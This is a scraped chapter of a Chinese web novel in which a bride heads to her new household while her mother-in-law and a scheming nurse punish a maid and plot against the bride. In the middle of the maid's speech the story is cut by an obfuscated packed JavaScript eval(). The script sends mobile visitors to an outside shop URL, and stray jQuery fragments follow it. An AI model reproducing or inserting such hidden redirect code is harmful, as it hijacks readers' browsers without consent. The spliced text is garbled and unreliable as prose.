文趣网 > 其他小说 > 莺娘闺事 > 36. 沈氏
    忙活到天光大亮,炸船一事才处理的差不多。程时莺的嫁妆和行李捞起了一些。金银珠宝摆件衣裳倒还有完整捞起的机会,那些田契铺契不是被烧没了就是水湿烂了。

    程时莺没多心疼,倒是荣儿心疼的不得了,在马车上哭了好半晌。嫁妆是女儿家在夫家的底气,若是受了气还能靠着嫁妆周旋打点,不至于日子过得苦。

    荣儿哭道,“小姐,没了嫁妆傍身,万一受了欺负怎么办?要是让老爷夫人知晓了,定是担忧的不得了。小姐,让奴婢去看着他们打捞吧,有人盯着也能尽心些。”

    程时莺正不知如何安抚,春含出声道,“眼下最要紧的是入府,嫁妆往后去信让老爷夫人再添即可。作为新妇,头件大事就是见婆母,入宗祠。”

    春含性子冷静,看得清轻重缓急,又是母亲安排的人,程时莺不由得有些依赖,“春含,初入府,我当如何?”

    “夫人差奴婢打听过,孟府人丁简单,府上仅有亲母沈氏,无兄弟妯娌。小姐过去便可掌家。”

    “这沈氏,可好相处?”若是沈氏好相与那便罢了,要是不好相处,往后少不了一番鸡飞狗跳。程时莺心知自己性子,要是沈氏敢磋磨自己,她定是忍不下,少不了要闹出大动静。

    “是个好相与的。”春含道,“听说常年吃斋念佛,还会支摊施粥,在平梧州很有美名。”

    “是了小姐,初入府万事谨慎小心为上。孟府比不得在侯府自在,夫人来时特意嘱咐了,要小姐过门后暂时收收性子。”

    “嗯。”

    程时莺往后靠了靠,伸手揉了揉眉心。一整夜不是遇到刺客就是遇上炸船,累都要累死了,现在给她一张床她能沾床便睡。

    荣儿要过来替她捏捏肩膀,去去乏,马车外忽然有人敲了敲。

    程时莺掀开车帘,正好和孟连庭对上视线。

    他没说话,只是静静地看了一眼马车内。

    春含极有眼力见的拉着荣儿下了马车。不多时,孟连庭上了马车,自然的坐到了程时莺身旁。

    半晌没话。

    程时莺很疲倦,干脆当作车里没这个人,半闭着眼休息。直到马车动起来,孟连庭开口说话,她才懒懒的睁开眼。

    “你没有什么想和我说的么?”

    说什么?程时莺疑惑,“怎么了?”

    “这一路凶险,往后.......”他顿了顿,“还会有更大的凶险。你........"

    他话只说了一半,但程时莺却知道他要说什么,笑了笑,“不反悔。”

    他沉默一会儿,“我父亲早亡,家中没有兄弟姐妹,只有母亲一人。我母亲素日都在佛堂,不理世事,待你入府便由你掌家。府上一应事宜,皆有你做主。”

    这自然是极好。程时莺本想趁机应下,将管家权拿到手,可脑中想起春含方才说过的话,犹豫片刻摇了摇头,“我是新媳,初入府还不懂府上的规矩,此事不如等过些日子再提。” 她没彻底拒绝,留了个台阶。

    孟连庭仔细瞧了瞧,见她说的诚挚,便不再多提。他捏了捏她的手心,“莫怕,我母亲性子温和,不会为难你。”

    “嗯嗯。”程时莺敷衍的点点头,重新靠了回去,慢慢闭上了眼。

    ........

    孟府。佛堂。

    一只花色橘黄,皮毛油光水滑的猫儿跃过门槛,一边喵呜喵呜的叫着,一边四处乱窜。

    沈氏一身素白衣裳,正跪在蒲团上念佛经,乍然听见动静,吓了一大跳。她恼怒起身,要将闯进来的橘猫丢出去。

    橘猫叫得更大声,攀上案几,撞倒了上边的缠花枝花瓶。花瓶砸在地上,碎了一地瓷片。

    “造孽!孽畜!”橘猫是沈氏养的,平时疼得跟眼珠子似的,去哪都要抱着。除了佛堂,她从不允许橘猫进佛堂,就是怕出现这样的事。

    进佛堂前,她把猫给了底下的丫鬟抱着。此刻橘猫惊扰了神佛,她捉了橘猫,提着猫后颈,气咻咻的给了橘猫几巴掌。

    挨了打,橘猫叫得更起劲,挣扎中还咬了沈氏一口。

    “寒烟!”沈氏怒极。寒烟正是负责看管这只橘猫的丫鬟。

    不多时,寒烟匆匆跑进来,扑通一声跪倒在地,求饶道,“夫人,不关奴婢的事啊,奴婢只是走开了一会儿,谁知道这猫会......奴婢明明把猫放在笼子里了。怎么会......”

    寒烟模样生的不错,细眉杏眼,唇红齿白。她应是精心打扮过,穿了最好的衣裳,勒出水蛇般的细腰,脸上不但描了眉还涂了口脂。

    沈氏怒火本只有七分,见了打扮花枝招展的寒烟,怒火一下子窜到了顶。

    “脸上涂得什么东西?贱婢,我说过几回了,不要起不该有的心思!下去领二十板子,没我的吩咐,往后不许到跟前来。”

    “夫人,奴婢没有、奴婢没有啊!夫人,求你了,别打奴婢呜呜........”

    沈氏蹙眉,任由其他丫鬟将人拖了下去。她将橘猫丢给另一个丫鬟,请了清嗓子,“想在孟府待着,就该好好牢记规矩。该做什么不该做什么,都要记在心里头。该赏的我多赏,该罚的我也不会心软。知道了么?”

    丫鬟们不敢抬头,“是。”

    屋外潘嬷嬷看到寒烟被狼狈的压着下去,脸上有掩饰不住的得意,问了一嘴,“夫人怎么罚她?”潘嬷嬷是孟连庭的奶妈,沈氏出嫁时带过来陪嫁丫鬟,在孟府待了几十年,很得沈氏重用,算是孟府的半个主子。

    她一问完,立马有人谄媚的回道,“打二十板子。嬷嬷要是不出气,多打几板子?”

    “夫人说是二十板子便是二十板子,哪能多加?一会给人打死了怎么办?”潘嬷嬷笑笑。

    “左不过趁乱打多几板子,就是说数错了,谁又能计较呢?”

    潘嬷嬷满意的点点头,看向寒烟的目光里带了几分高高在上的悲悯,“瞧你,精心打扮的头发都乱了。”

    寒烟很快就反应了过来,恨道,“是你个老不死把猫放出去的!你害我!”

    “胡说什么,还不拖下去打?”

    “你你你、你就

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845497|209331||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是害了我,我不会放过你的!老不死,恶婆子,等我往后攀上了公子,头一个就弄死你!啊啊啊啊,贱人!”

    听着她的咒骂,潘嬷嬷脸上更加得意。贱婢还想攀上公子,空有美貌毫无心机的蠢货,就是攀上了龙凤也成不了大器。

    寒烟本是孟连庭院中伺候的人,不知哪一日院中丢了件珍宝,而这珍宝又恰好出现在她枕头下,叫潘嬷嬷领人当场翻了出来。这件事后她就成了最低等的洗恭桶丫鬟。

    她不甘心,费尽心思往上爬,好不容易做了沈氏跟前负责看管橘猫的丫鬟,现在又被潘嬷嬷弄了下去。她实在想不明白,她不过想争个通房小妾的位置,潘嬷嬷为何这般记恨她?潘嬷嬷都老成这样了,难不成还想自己做公子的通房吗?

    潘嬷嬷踩着寒烟的咒骂声进了佛堂。沈氏跪在蒲团上,见她进来,说道,“祛寒的参汤都备好了么?”

    “夫人放心,都备好了。”潘嬷嬷似乎有些为难,继续说道,“昨夜里,公子身边的随从回府取了些银子,说是要买衣裳用。”

    “买衣裳?”沈氏皱眉不解,“买什么衣裳?尧光向来不在意这等小事,怎么忽然起意?”

    “奴婢也是觉得奇怪,故而问了一嘴。那随从说是、说是........”

    她支支吾吾半晌,沈氏眉头紧皱,看了过去,斥道,“快说!”

    “那随从说是少夫人要用。”

    “少夫人?”沈氏一怔,这才想起来自家儿子已娶了亲,还多次来信催她置办平梧州这边的婚宴。

    她脸色有些不好看,“.......既要取便取罢。到底是过了门的儿媳。”

    “可夫人,这才刚过门,还未进府就要支取夫家的银子去买衣裳享乐。这实在是.......张扬无度,要是往后坏了公子名声.......”

    潘嬷嬷恰到好处的住了口。

    沈氏垂眸思索片刻,“哼,我本也不喜尧光娶她。虽然之前定过婚约,但尧光上门退亲时,他们忠勇侯府轻飘飘的就同意了,想来也是看不上我孟家门楣。现在自家姑娘坏了名声,又缠上尧光。”

    “是这么个理。”潘嬷嬷附和,“咱们落魄时,外头都说是咱们公子高攀。退了婚,如了他们意,这会自家千金被国公府扫地出门,又想起咱们公子的好来了。夫人,奴婢瞧着不必给她好脸色,省得日子无法无天。”

    “可是........”沈氏犹豫,“她毕竟是尧光新妇,尧光若是不喜欢她,刀架脖子上都不会娶她。我做母亲的,怎能因此与儿子离了心?”

    她脸上满是纠结之色,迟迟下不了决心。潘嬷嬷眼珠子一转,献计道,“夫人不必自己出手,大可借刀杀人。这样既不会让公子与夫人离心,又能给那女子立了规矩,叫她往后安安分分。”

    沈氏沉默许久,轻声问,“什么?”

    “奴婢记着夫人母家有一远房表侄女,出落的极为水灵。夫人可将人接来,给那女子心里添堵。表姑娘父母双亡,若是能成,她得了好归宿,夫人也能得个救济的好名声。”